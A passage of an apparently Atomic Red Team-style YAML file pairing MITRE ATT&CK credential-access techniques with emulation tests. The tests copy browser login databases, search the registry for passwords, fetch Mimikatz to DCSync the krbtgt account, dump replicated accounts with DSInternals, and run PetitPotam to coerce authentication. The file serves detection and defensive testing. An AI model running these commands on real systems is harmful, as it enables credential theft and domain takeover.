        prereq_command: if (Test-Path "$env:APPDATA\Opera Software\Opera Stable\Login
          Data") {exit 0} else {exit 1}
        get_prereq_command: 'New-Item -Path "$env:APPDATA\Opera Software\Opera Stable\Login
          Data" -ItemType File

'
      executor:
        name: powershell
        command: 'Copy-Item "$env:APPDATA\Opera Software\Opera Stable\Login Data"
          -Destination $env:temp

'
        cleanup_command: 'Remove-Item -Path "$env:temp\Login Data" -Force -ErrorAction
          Ignore

'
    - name: Simulating access to Windows Firefox Login Data
      auto_generated_guid: eb8da98a-2e16-4551-b3dd-83de49baa14c
      description: |
        Simulates an adversary accessing encrypted credentials from firefox web browser's login database.
        more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Firefox must be installed

'
        prereq_command: if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe")
          -Or (Test-Path "C:\Program Files (x86)\Mozilla Firefox\firefox.exe")) {exit
          0} else {exit 1}
        get_prereq_command: |
          if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US"}else {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win&lang=en-US"}
          $installer = "$env:temp\firefoxsetup.exe"
          (New-Object Net.WebClient).DownloadFile($url,$installer)
          Start-Process $installer -ArgumentList '/S' -Wait
      - description: 'Firefox login data file must exist

'
        prereq_command: if (Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\") {exit
          0} else {exit 1}
        get_prereq_command: |
          if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$firefox="C:\Program Files\Mozilla Firefox\firefox.exe"}else {$firefox="C:\Program Files (x86)\Mozilla Firefox\firefox.exe"}
          Start-Process $firefox -ArgumentList '-CreateProfile Atomic' -Wait
          Start-Process $firefox -NoNewWindow
          Start-Sleep -s 20
          Stop-Process -Name firefox
      executor:
        name: powershell
        command: 'Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\" -Destination
          $env:temp -Force -Recurse

'
        cleanup_command: 'Remove-Item -Path "$env:temp\Profiles" -Force -ErrorAction
          Ignore -Recurse

'
    - name: Simulating access to Windows Edge Login Data
      auto_generated_guid: a6a5ec26-a2d1-4109-9d35-58b867689329
      description: |
        Simulates an adversary accessing encrypted credentials from Edge web browser's login database.
        more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Edge must be installed

'
        prereq_command: if (Test-Path "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe")
          {exit 0} else {exit 1}
        get_prereq_command: '"Installation is not implemented as Edge is a part of
          windows"

'
      - description: 'Edge login data file must exist

'
        prereq_command: if (Test-Path "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default")
          {exit 0} else {exit 1}
        get_prereq_command: "$edge=\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"\nStart-Process
          $edge \nStart-Sleep -s 20\nStop-Process -Name msedge\n"
      executor:
        name: powershell
        command: 'Copy-Item "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" -Destination
          $env:temp\Edge -Force -Recurse

'
        cleanup_command: Remove-Item -Path "$env:temp\Edge" -Force -ErrorAction Ignore
          -Recurse
  T1552.002:
    technique:
      created: '2020-02-04T12:58:40.678Z'
      modified: '2020-02-07T20:49:18.834Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      type: attack-pattern
      id: attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580
      description: |-
        Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

        Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

        * Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>
        * Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>
      name: Credentials in Registry
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1552.002
        url: https://attack.mitre.org/techniques/T1552/002
      - url: https://pentestlab.blog/2017/04/19/stored-credentials/
        description: netbiosX. (2017, April 19). Stored Credentials. Retrieved April
          6, 2018.
        source_name: Pentestlab Stored Credentials
      x_mitre_platforms:
      - Windows
      x_mitre_contributors:
      - Sudhanshu Chauhan, @Sudhanshu_C
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Access'
      x_mitre_detection: Monitor processes for applications that can be used to query
        the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and
        collect command parameters that may indicate credentials are being searched.
        Correlate activity with related suspicious behavior that may indicate an active
        intrusion to reduce false positives.
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_system_requirements:
      - Ability to query some Registry locations depends on the adversary's level
        of access. User permissions are usually limited to access of user-related
        Registry keys.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1552.002
    atomic_tests:
    - name: Enumeration for Credentials in Registry
      auto_generated_guid: b6ec082c-7384-46b3-a111-9a9b8b14e5e7
      description: 'Queries to enumerate for credentials in the Registry. Upon execution,
        any registry key containing the word "password" will be displayed.

'
      supported_platforms:
      - windows
      executor:
        command: |
          reg query HKLM /f password /t REG_SZ /s
          reg query HKCU /f password /t REG_SZ /s
        name: command_prompt
    - name: Enumeration for PuTTY Credentials in Registry
      auto_generated_guid: af197fd7-e868-448e-9bd5-05d1bcd9d9e5
      description: |
        Queries to enumerate for PuTTY credentials in the Registry. PuTTY must be installed for this test to work. If any registry
        entries are found, they will be displayed.
      supported_platforms:
      - windows
      executor:
        command: 'reg query HKCU\Software\SimonTatham\PuTTY\Sessions /t REG_SZ /s

'
        name: command_prompt
  T1003.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1003.006
        url: https://attack.mitre.org/techniques/T1003/006
      - url: https://msdn.microsoft.com/library/cc228086.aspx
        description: Microsoft. (2017, December 1). MS-DRSR Directory Replication
          Service (DRS) Remote Protocol. Retrieved December 4, 2017.
        source_name: Microsoft DRSR Dec 2017
      - url: https://msdn.microsoft.com/library/dd207691.aspx
        description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December
          4, 2017.
        source_name: Microsoft GetNCCChanges
      - url: https://wiki.samba.org/index.php/DRSUAPI
        description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.
        source_name: Samba DRSUAPI
      - url: https://source.winehq.org/WineAPI/samlib.html
        description: Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.
        source_name: Wine API samlib.dll
      - url: https://adsecurity.org/?p=1729
        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
          and Detection. Retrieved August 7, 2017.
        source_name: ADSecurity Mimikatz DCSync
      - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
          Oh My. Retrieved August 7, 2017.
        source_name: Harmj0y Mimikatz and DCSync
      - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM
        description: Warren, J. (2017, July 11). Manipulating User Passwords with
          Mimikatz. Retrieved December 4, 2017.
        source_name: InsiderThreat ChangeNTLM July 2017
      - url: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump
        description: Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved
          August 7, 2017.
        source_name: GitHub Mimikatz lsadump Module
      - url: https://msdn.microsoft.com/library/cc237008.aspx
        description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol.
          Retrieved December 6, 2017.
        source_name: Microsoft NRPC Dec 2017
      - url: https://msdn.microsoft.com/library/cc245496.aspx
        description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote
          Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.
        source_name: Microsoft SAMR
      - url: https://adsecurity.org/?p=1729
        description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation,
          and Detection. Retrieved December 4, 2017.
        source_name: AdSecurity DCSync Sept 2015
      - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/
        description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids,
          Oh My. Retrieved December 4, 2017.
        source_name: Harmj0y DCSync Sept 2015
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: DCSync
      description: |-
        Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.

        Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)

        DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)
      id: attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-22T20:20:14.595Z'
      created: '2020-02-11T18:45:34.293Z'
      x_mitre_contributors:
      - ExtraHop
      - Vincent Le Toux
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Access'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Also monitor for network protocols(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests(Citation: Microsoft SAMR) from IPs not associated with known domain controllers.(Citation: AdSecurity DCSync Sept 2015)

        Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1003.006
    atomic_tests:
    - name: DCSync (Active Directory)
      auto_generated_guid: 129efd28-8497-4c87-a1b0-73b9a870ca3e
      description: |
        Active Directory attack allowing retrieval of account information without accessing memory or retrieving the NTDS database.
        Works against a remote Windows Domain Controller using the replication protocol.
        Privileges required: domain admin or domain controller account (by default), or any other account with required rights.
        [Reference](https://adsecurity.org/?p=1729)
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Targeted Active Directory domain
          type: String
          default: "%userdnsdomain%"
        user:
          description: Targeted user
          type: String
          default: krbtgt
        mimikatz_path:
          description: Mimikatz windows executable
          type: Path
          default: "%tmp%\\mimikatz\\x64\\mimikatz.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

'
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
          Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\mimikatz.zip"
          Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
          New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
          Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force
      executor:
        name: command_prompt
        elevation_required: false
        command: '#{mimikatz_path} "lsadump::dcsync /domain:#{domain} /user:#{user}@#{domain}"
          "exit"

'
    - name: Run DSInternals Get-ADReplAccount
      auto_generated_guid: a0bced08-3fc5-4d8b-93b7-e8344739376e
      description: "The following Atomic will run Get-ADReplAccount from DSInternals.\nUpon
        successful execution, domain and credentials will appear in stdout. \n[Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/)
        CrowdStrike StellerParticle.\nhttps://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/\n"
      supported_platforms:
      - windows
      input_arguments:
        logonserver:
          description: ComputerName argument default %logonserver%
          type: String
          default: $ENV:logonserver.TrimStart("\")
      dependency_executor_name: powershell
      dependencies:
      - description: 'DSInternals must be installed

'
        prereq_command: |
          $RequiredModule = Get-Module -Name DSInternals -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['DSInternals']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name DSInternals -Scope CurrentUser -Force

'
      executor:
        command: 'Get-ADReplAccount -All -Server #{logonserver}

'
        name: powershell
        elevation_required: false
  T1556.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.001
        url: https://attack.mitre.org/techniques/T1556/001
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Controller Authentication
      description: "Adversaries may patch the authentication process on a domain controller
        to bypass the typical authentication mechanisms and enable access to accounts.
        \n\nMalware may be used to inject false credentials into the authentication
        process on a domain controller with the intent of creating a backdoor used
        to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)).
        Skeleton key works through a patch on an enterprise domain controller authentication
        process (LSASS) with credentials that adversaries may use to bypass the standard
        authentication system. Once patched, an adversary can use the injected password
        to successfully authenticate as any domain user account (until the the skeleton
        key is erased from memory by a reboot of the domain controller). Authenticated
        access may enable unfettered access to hosts and/or resources within single-factor
        authentication environments.(Citation: Dell Skeleton)"
      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:10:26.613Z'
      created: '2020-02-11T19:05:02.399Z'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: "Monitor for calls to <code>OpenProcess</code> that can be
        used to manipulate lsass.exe running on a domain controller as well as for
        malicious modifications to functions exported from authentication-related
        system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure
        robust, consistent account activity audit policies across the enterprise and
        with externally accessible services.(Citation: TechNet Audit Policy) Look
        for suspicious account behavior across systems that share accounts, either
        user, admin, or service accounts. Examples: one account logged into multiple
        systems simultaneously; multiple accounts logged into the same machine simultaneously;
        accounts logged in at odd times or outside of business hours. Activity may
        be from interactive login sessions or process ownership from accounts being
        used to execute binaries on a remote system as a particular account. Correlate
        other security systems with login information (e.g. a user has an active login
        session but has not entered the building or does not have VPN access). "
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1212:
    technique:
      id: attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exploitation for Credential Access
      description: 'Adversaries may exploit software vulnerabilities in an attempt
        to collect credentials. Exploitation of a software vulnerability occurs when
        an adversary takes advantage of a programming error in a program, service,
        or within the operating system software or kernel itself to execute adversary-controlled
        code. Credentialing and authentication mechanisms may be targeted for exploitation
        by adversaries as a means to gain access to useful credentials or circumvent
        the process to gain access to systems. One example of this is MS14-068, which
        targets Kerberos and can be used to forge Kerberos tickets using domain user
        permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged
        Tickets) Exploitation for credential access may also result in Privilege Escalation
        depending on the process targeted or credentials obtained.'
      external_references:
      - source_name: mitre-attack
        external_id: T1212
        url: https://attack.mitre.org/techniques/T1212
      - url: https://technet.microsoft.com/en-us/library/security/ms14-068.aspx
        description: Microsoft. (2014, November 18). Vulnerability in Kerberos Could
          Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.
        source_name: Technet MS14-068
      - url: https://adsecurity.org/?p=1515
        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
          23, 2015.
        source_name: ADSecurity Detecting Forged Tickets
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-03-25T18:51:01.070Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Detecting software exploitation may be difficult depending
        on the tools available. Software exploits may not always succeed or may cause
        the exploited process to become unstable or crash. Also look for behavior
        on the system that might indicate successful compromise, such as abnormal
        behavior of processes. Credential resources obtained through exploitation
        may be detectable in use if they are not normally used or seen.
      x_mitre_contributors:
      - John Lambert, Microsoft Threat Intelligence Center
      x_mitre_version: '1.1'
    atomic_tests: []
  T1187:
    technique:
      created: '2018-01-16T16:13:52.465Z'
      modified: '2020-06-19T17:16:41.470Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1187
        url: https://attack.mitre.org/techniques/T1187
      - url: https://en.wikipedia.org/wiki/Server_Message_Block
        description: Wikipedia. (2017, December 16). Server Message Block. Retrieved
          December 21, 2017.
        source_name: Wikipedia Server Message Block
      - url: https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/
        description: Stevens, D. (2017, November 13). WebDAV Traffic To Malicious
          Sites. Retrieved December 21, 2017.
        source_name: Didier Stevens WebDAV Traffic
      - url: https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx
        description: Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved
          December 21, 2017.
        source_name: Microsoft Managing WebDAV Security
      - url: https://github.com/hob0/hashjacking
        description: Dunning, J. (2016, August 1). Hashjacking. Retrieved December
          21, 2017.
        source_name: GitHub Hashjacking
      - url: https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf
        description: Cylance. (2015, April 13). Redirect to SMB. Retrieved December
          21, 2017.
        source_name: Cylance Redirect to SMB
      - url: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
        description: Osanda Malith Jayathissa. (2017, March 24). Places of Interest
          in Stealing NetNTLM Hashes. Retrieved January 26, 2018.
        source_name: Osanda Stealing NetNTLM Hashes
      - url: https://www.us-cert.gov/ncas/alerts/TA17-293A
        description: 'US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent
          Threat Activity Targeting Energy and Other Critical Infrastructure Sectors.
          Retrieved November 2, 2017.'
        source_name: US-CERT APT Energy Oct 2017
      description: |-
        Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.

        The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.

        Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)

        Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)

        There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:

        * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)
        * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)
      name: Forced Authentication
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2
      x_mitre_version: '1.2'
      x_mitre_contributors:
      - Teodor Cimpoesu
      - Sudhanshu Chauhan, @Sudhanshu_C
      x_mitre_data_sources:
      - 'File: File Access'
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_detection: |-
        Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

        Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: false
      identifier: T1187
    atomic_tests:
    - name: PetitPotam
      auto_generated_guid: 485ce873-2e65-4706-9c7e-ae3ab9e14213
      description: 'This module runs the Windows executable of PetitPotam in order
        to coerce authentication for a remote system.

'
      supported_platforms:
      - windows
      input_arguments:
        captureServerIP:
          description: Computer IP to use to receive the authentication (ex. attacker
            machine used for NTLM relay)
          type: string
          default: 10.0.0.3
        targetServerIP:
          description: Computer IP to force authentication from (ex. domain controller)
          type: string
          default: 10.0.0.2
        efsApi:
          description: EFS API to use to coerce authentication
          type: string
          default: 1
        petitpotam_path:
          description: PetitPotam Windows executable
          type: path
          default: "$env:TEMP\\PetitPotam.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: |
          PetitPotam binary must exist on disk and at specified location (#{petitpotam_path}).
          And the computer must be domain joined (implicit authentication).
        prereq_command: 'if (Test-Path "#{petitpotam_path}") { exit 0 } else { exit
          1 }

'
        get_prereq_command: 'Invoke-WebRequest "https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true"
          -OutFile "#{petitpotam_path}"

'
      executor:
        name: powershell
        elevation_required: false
        command: |
          & "#{petitpotam_path}" #{captureServerIP} #{targetServerIP} #{efsApi}
          Write-Host "End of PetitPotam attack"
  T1606:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1606
        url: https://attack.mitre.org/techniques/T1606
      - source_name: GitHub AWS-ADFS-Credential-Generator
        url: https://github.com/damianh/aws-adfs-credential-generator
        description: Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator.
          Retrieved December 16, 2020.
      - description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass
          the Cookie. Retrieved April 5, 2019.
        url: https://wunderwuzzi23.github.io/blog/passthecookie.html
        source_name: Pass The Cookie
      - source_name: Unit 42 Mac Crypto Cookies January 2019
        url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
        description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware
          Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.
      - source_name: Microsoft SolarWinds Customer Guidance
        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
          Cyber Attacks. Retrieved December 17, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Forge Web Credentials
      description: |-
        Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.

        Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)

        Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)
      id: attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-14T14:29:27.631Z'
      created: '2020-12-17T02:13:46.247Z'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Web Credential: Web Credential Creation'
      - 'Web Credential: Web Credential Usage'
      x_mitre_detection: Monitor for anomalous authentication activity, such as logons
        or other user session activity associated with unknown accounts. Monitor for
        unexpected and abnormal access to resources, including access of websites
        and cloud-based applications by the same user in different locations or by
        different systems that do not match expected configurations.
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - SaaS
      - Windows
      - macOS
      - Linux
      - Azure AD
      - Office 365
      - Google Workspace
    atomic_tests: []
  T1056.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1056.002
        url: https://attack.mitre.org/techniques/T1056/002
      - external_id: CAPEC-659
        source_name: capec
        url: https://capec.mitre.org/data/definitions/659.html
      - url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html
        description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits
          Mackeeper. Retrieved July 3, 2017.
        source_name: OSX Malware Exploits MacKeeper
      - source_name: LogRhythm Do You Trust Oct 2014
        url: https://logrhythm.com/blog/do-you-trust-your-computer/
        description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved
          December 17, 2018.
      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
          is hungry for credentials. Retrieved July 3, 2017.
        source_name: OSX Keydnap malware
      - source_name: Enigma Phishing for Credentials Jan 2015
        url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
        description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If
          you want it, just ask!. Retrieved December 17, 2018.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: GUI Input Capture
      description: "Adversaries may mimic common operating system GUI components to
        prompt users for credentials with a seemingly legitimate prompt. When programs
        are executed that need additional privileges than are present in the current
        user context, it is common for the operating system to prompt the user for
